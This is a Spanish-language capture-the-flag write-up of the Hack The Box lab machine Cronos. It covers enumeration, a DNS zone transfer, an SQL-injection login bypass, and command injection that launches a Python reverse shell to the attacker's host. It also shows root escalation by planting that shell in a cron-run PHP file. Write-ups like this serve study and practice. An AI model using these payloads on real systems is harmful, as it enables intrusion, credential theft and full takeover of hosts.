Cronos Writeup [HTB]

Written by: X4v1l0k

Cronos - 10.10.10.13

tags: HTB Medium Linux

Enumeración

Nmap

$ nmap -A -Pn -p- 10.10.10.13

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-05 19:25 CET
Nmap scan report for 10.10.10.13
Host is up (0.034s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   33.72 ms 10.10.14.1
2   33.77 ms 10.10.10.13

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.44 seconds

Puerto 53

  • Sabiendo que tiene el puerto DNS abierto, registro la IP dentro del archivo hosts como cronos.htb y ahora, al acceder desde el navegador a http://cronos.htb nos encontramos con una web.
  • Ahora, para completar la enumeración del puerto, vamos a ver si tiene más dominios asociados.
$ dig @10.10.10.13 cronos.htb axfr

; <<>> DiG 9.16.4-Debian <<>> @10.10.10.13 cronos.htb axfr
; (1 server found)
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 36 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: jue nov 05 19:30:19 CET 2020
;; XFR size: 7 records (messages 1, bytes 203)
  • Vemos que también está disponible http://admin.cronos.htb por lo tanto, lo añadimos también a nuestro archivo hosts.

Puerto 80

  • Dentro de la URl http://cronos.htb nos encontramos 5 enlaces a recursos externos.
  • Dentro de http://admin.cronos.htb/ nos encontramos una página de login.

Explotación

  • Para hacer bypass al login de http://admin.cronos.htb/ usamos:
    • username: admin' or '1'='1 #
    • password: cualquiercosa
  • Ahora, nos encontramos un formulario en el que según parece podemos hacer ping y tracert a una ip.
  • Si ponemos en el input ;id podemos ver que tenemos RCE como www-data por lo que, vamos a por una shell.
  • Perfecto, usando el siguiente payload, obtenemos shell.
;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.35",8787));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Post explotación

Escala de privilegios

  • Dentro del archivo config.php nos encontramos unas credenciales de la base de datos.
$ www-data@cronos:/var/www/admin$ cat config.php 
<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
  • Vamos a conectarnos a la base de datos y ver que sacamos.
$ www-data@cronos:/home$ mysql -u admin -p

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| admin              |
+--------------------+
2 rows in set (0.00 sec)

mysql> use admin
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------+
| Tables_in_admin |
+-----------------+
| users           |
+-----------------+
1 row in set (0.00 sec)

mysql> select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 4f5fffa7b2340178a716e3832451e058 |
+----+----------+----------------------------------+
1 row in set (0.00 sec)
  • Ahora tenemos una encriptación en lo que parece ser MD5. Mientras la crackea, vamos a lanzar linpeas.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
  • Linpeas nos reporta un cron ejecutándose como root sobre un archivo del que somos propietarios por lo que, podemos inyectar en el una shell!. Modificamos el inicio del archivo dejándolo del siguiente modo.
$ nano /var/www/laravel/artisan

#!/usr/bin/env php
<?php

system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.35",8787));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
  • Ahora, esperamos unos segundos con un listener corriendo y… tenemos shell como root!.

Tags

Command injection   Cron   PHP   OSCP Path  
X4v1l0k